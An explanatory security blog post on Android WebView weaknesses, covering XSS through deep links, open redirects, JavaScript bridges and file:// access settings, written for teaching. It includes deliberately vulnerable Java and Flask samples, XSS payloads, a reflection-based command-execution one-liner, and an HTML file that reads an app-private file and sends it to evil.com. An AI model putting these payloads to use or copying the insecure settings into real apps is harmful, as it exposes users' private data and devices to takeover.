Continuing my previous blogpost about Android App security, I'd like to discuss Android Webviews.
This blogpost is also going to describe some web vulnerabilities - since I haven't written about them personally I will try to describe them briefly.
A WebView is a system component that allows Android Apps to display web content inside the app.
You can think of it as a little browser instance that runs in the context of an Android App.
In fact, many Apps heavily rely on WebViews to function - for example, banking Android Apps are sometimes just a fancy WebView to a Bank's HTTP(S) server.
WebViews are commonly powered by Chromium. Developers can load URLs or HTML into a WebView with methods like loadUrl or loadData.
Additionally, Apps can enable JavaScript, add custom bridges (more on that later!), and interact with the content.
The security aspect is quite clear: embedding a browser inside an App also brings along the entire browser attack surface.
Worse than that - the WebView runs in the same context (and process) of the App, which means that it doesn't benefit from the usual Sandbox we see in modern browsers.
So, let us show a few scenarios with WebViews and explain common security issues with them.
XSS (Cross-Site-Scripting) is a type of web vulnerability that enables injecting client-side scripting into web contents.
A simple example (outside of the Android App context!) could be in a website that has a "search" button - users can submit a search query and the search results appear.
Here's the example (coded in Python with Flask):
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def search():
if request.method == 'POST':
query = request.form.get('query', '')
return f'''
<html>
<body>
<h1>Search Page</h1>
<form method="post">
<input type="text" name="query" />
<input type="submit" value="Search" />
</form>
<p>You searched for: {query}</p>
</body>
</html>
'''
else:
return '''
<html>
<body>
<h1>Search Page</h1>
<form method="post">
<input type="text" name="query" />
<input type="submit" value="Search" />
</form>
</body>
</html>
'''
if __name__ == '__main__':
app.run(debug=True)The problem here is the HTML output <p>You searched for: {query}</p> - note query is not sanitized.
Thus, providing <script>alert(1337)</script> as the query injects arbitrary JavaScript into the webpage.
That might have catastrophic implications such as stealing cookies, accessing private information and phishing.
Well, in an Android WebView you could also achieve an XSS too!
Here is a simple AndroidManifest.xml for a vulnerable App:
<?xml version="1.0" encoding="utf-8"?>
<manifest package="com.example.vulnwebview" xmlns:android="http://schemas.android.com/apk/res/android">
<application android:label="VulnWebView">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="search"/>
</intent-filter>
</activity>
</application>
</manifest>Note the MainActivity Activity has an intent-filter that also has the category android.intent.category.BROWSABLE.
That BROWSABLE category means the App is registered with a URI schema myapp://search and thus could be triggered from other Apps or even from a browser.
Here's MainActivity.java:
package com.example.vulnwebview;
import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
private WebView webView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
webView = new WebView(this);
setContentView(webView);
// Enable JavaScript
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
// Get query from deep link: myapp://search?q=...
Uri data = getIntent() != null ? getIntent().getData() : null;
String query = null;
if (data != null) {
query = data.getQueryParameter("q");
}
// Vuln
String html = "<html>\n" +
" <body>\n" +
" <h1>Search</h1>\n" +
" <form method=\"get\" action=\"\">\n" +
" <input name=\"q\" />\n" +
" <input type=\"submit\" value=\"Search\"/>\n" +
" </form>\n" +
(query != null && !query.isEmpty() ? "<p>You searched for: " + query + "</p>\n" : "") +
" </body>\n" +
"</html>";
// Load using a base URL (let's say - a bank web server)
webView.loadDataWithBaseURL("https://my-bank.com", html, "text/html", "utf-8", null);
}
@Override
protected void onDestroy() {
if (webView != null) {
webView.destroy();
webView = null;
}
super.onDestroy();
}
}Let's note a few things:
- We had to call
webView.getSettings().setJavaScriptEnabled(true);to enable JavaScript - JavaScript is disabled by default. - We extract the parameter
qfrom the Intent usinggetQueryParameter. - As before, we simply load the HTML code with the attacker controlled
query- which means, JavaScript could be injected.
All an attacker needs to do is trigger myapp://search?q=%3Cscript%3Ealert(1337)%3C%2Fscript%3E - which can be done from other Apps that run side-by-side, or even from an actual browser (requires a user approval to open the App).
Just like any browser, WebViews can load data from plaintext HTTP URLs (rather than HTTPS).
Any plaintext HTTP load can be potentially attacked with a Man-in-the-middle (MiTM) attack, thus injecting arbitrary contents.
Similarly, open redirects can make the WebView load untrusted contents - for instance, let's assume a web server https://example.com that can get a redirection URL as a GET parameter, e.g. https://example.com/redirect=attacker-controlled.com. If the redirect target can be controlled (e.g. from a data in an Intent) - an attacker could control the WebView contents arbitrarily.
A unique technology to Android that's utilized in Android is called the Android JavaScript Bridge or "native bridge". The idea is interopability between JavaScript and the App - in essence, the JavaScript can invoke methods in an exposed Java class (that runs in the App's context) and get results.
The WebView class exposes a method called addJavascriptInterface which exposes certain methods that can be invoked from within the WebView's JavaScript.
Obviously, the entire data interopability requires heavy serialization and deserialization, so only a set of data types are supported:
| JavaScript | Android App (Java) | Remarks |
|---|---|---|
| String | java.lang.String | UTF-8 encoded. |
| Number | double, int, ... | JavaScript's Number always turns into double, and then converted to the correct integer type if required. |
| true \ false | boolean | |
| null | null | |
| Objects \ arrays | --- | Not supported - commonly objects and arrays are passed via a JSON string. |
| Binary data | --- | Not supported - commonly passed via base64-encoded strings. |
Here's how JavaScript bridges are used: we'll define a class that implements a JavaScript interface method (more on that later):
package com.example.mybridge;
import android.webkit.JavascriptInterface;
import org.json.JSONException;
import org.json.JSONObject;
public class MyBridge {
@JavascriptInterface
public String echo(String s) {
return "ECHO: " + s;
}
}Then, we attach it to a WebView:
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new MyBridge(), "AndroidBridge");
webView.loadUrl("file:///android_asset/test.html");Lastly, here is test.html, which runs JavaScript:
<html>
<body>
<script>
try {
var reply = AndroidBridge.echo("hello");
console.log("reply from Java:", reply);
} catch (e) {
console.error("Bridge call failed", e);
}
</script>
</body>
</html>- Note
test.htmlfound an object calledAndroidBridgeand calledecho("hello")on it. - The string "hello" is translated via the bridge to a Java
Stringobject and theechomethod is invoked. - The
echomethod takes the string and returns another string ("ECHO: hello" in our case). - The returned
StringJava object translates via the bridge and turns into a JavaScriptstring.
In API versions prior to 17 (old!), a JavaScript bridge always meant arbitrary code execution on the device in the App's context.
In those old versions, the object exposed via the addJavascriptInterface method would have all its methods callable.
Thus, a malicious Javascript could use Java's refleciton capabilities:
AndroidObject.getClass().forName("java.lang.Runtime").getRuntime().exec("echo pwn");- Note
getClassis a method defined by any object and returns the Java class that defines the object. - Then,
forNameis a static method in Java class that returns a Java class instance of the given name. We usejava.lang.Runtimeto get aRuntimeclass. - The
Runtimeclass exposes a static methodgetRuntimewhich instanciates a newRuntimeinstance. - Finally, we call
execon theRuntimeinstance which can run arbitrary commandlines.
To handle that issue, Android post API version 17 will refuse to call methods that are not annotated with the @JavascriptInterface annotation.
While the old reflection-based RCE bug is resolved in all modern Android insances, there are still significant security implications to JavaScript bridges.
Generally, the exposed methods must still sanitize all input, especially if the WebView can load untrusted attacker-controlled inputs (e.g. via plaintext, injection, open redirects or XSS).
In fact, I've published a blogpost in the past that shows how such a JavaScript bridge exposed methods that allowed:
- Controlling the camera and microphone
- Run arbitrary commands (via a command injection vulnerability)
- Control the power consumption of the phone
- Perform arbitrary storage operations
The blogpost describes it well, but in essence, there were System Apps (Apps that are baked-into the phone for all means and purposes) that would have a JavaScript bridge object that exposes said functionality.
Injecting to the Webview requires JavaScript injection via deserialization of an Intent, which could be triggered via a BROWSABLE activity, like we've seen earlier!
Lastly, WebViews have the capability to load files via the file:// schema.
In browsers, a mechanism called Same-origin-policy (SOP) enforces that resources cannot be accessed between different "origins", where an "origin" is the schema, host URI and port number.
However, in file:// schema, all files are considered to be under the same origin, thus - somehow loading an arbitrary file into the WebView could allow that file (if running JavaScript) to access all files accessible to the App - including private data.
Here's a toy example:
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView webView = new WebView(this);
setContentView(webView);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
// Allows file:// pages to fetch other resources
settings.setAllowFileAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);
// Load local file
webView.loadUrl("file:///sdcard/myapp/index.html");
}
}In this case, the file index.html that's on the external storage (most likely attacker-controlled) can run arbitrary JavaScript and get all files that the App has access to (and most likely, exfiltrate them), e.g.:
<!DOCTYPE html>
<html>
<body>
<h1>Local file attack</h1>
<script>
fetch("file:///data/data/com.example.myapp/files/secret.txt")
.then(resp => resp.text())
.then(data => {
fetch("https://evil.com/steal?data=" + encodeURIComponent(data));
})
.catch(err => console.log("Error:", err));
</script>
</body>
</html>This is true also for drive-by-downloads (e.g. file is downloaded to the storage and then an intent is triggered from a different App that loads that file in the target App).
Also note the three different methods that we invoked on the WebView's settings:
setAllowFileAccess(true)lets the WebView loadfile://resources from the device filesystem.setAllowFileAccessFromFileURLs(true)lets JavaScrip running in afile://page read otherfile://resources.setAllowUniversalAccessFromFileURLs(true)lets JavaScript running in afile://page access any origin, i.e. cross-origin network access.
It is actually not rare seeing such overpowered WebViews, so watch out!
While these all seem trivial, combining all these ideas could end up in a powerful attack chain.
I hope to make more Android blogposts - Stay tuned!
Jonathan Bar Or